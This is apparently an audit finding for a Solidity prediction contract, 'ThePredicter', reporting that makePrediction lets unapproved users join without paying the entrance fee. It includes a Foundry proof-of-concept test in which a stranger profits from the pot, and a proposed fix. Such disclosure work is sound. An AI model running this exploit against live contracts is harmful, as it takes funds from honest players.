There is no restrictions for users to make predictions without paying entrance fee and without approval from the organizer. This is in detriment for honest players which has paid entrance fee which then can be distributed in rewards for the dishonest users.
function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterPocTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public friend = makeAddr("friend");
address public stranger = makeAddr("stranger");
uint256 constant ENTRANCE_FEE = 0.04 ether;
uint256 constant PREDICTION_FEE = 0.0001 ether;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), ENTRANCE_FEE, PREDICTION_FEE);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.deal(friend, ENTRANCE_FEE);
vm.deal(stranger, ENTRANCE_FEE * 2);
}
function testNonRegisteredUserPredictions() public {
vm.prank(friend);
thePredicter.register{value: ENTRANCE_FEE}();
uint256 balanceBeforePredictions = stranger.balance;
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
scoreBoard.setResult(2, ScoreBoard.Result.Draw);
scoreBoard.setResult(3, ScoreBoard.Result.Draw);
scoreBoard.setResult(4, ScoreBoard.Result.Draw);
scoreBoard.setResult(5, ScoreBoard.Result.Draw);
scoreBoard.setResult(6, ScoreBoard.Result.Draw);
scoreBoard.setResult(7, ScoreBoard.Result.Draw);
scoreBoard.setResult(8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.prank(stranger);
thePredicter.withdraw();
uint256 balanceAfterPredictions = stranger.balance;
console.log(balanceAfterPredictions);
vm.assertGt(balanceAfterPredictions, balanceBeforePredictions);
}
}
Dishonest users will take part of the pot created by entrance fees, which will have negative impact on honest users.
Manual review.
Consider adding a check if the user making a prediction is approved by the organizer.
function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
+ if (playersStatus[msg.sender] != Status.Approved) {
+ revert("Not approved users cannot make predictions");
+ }
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}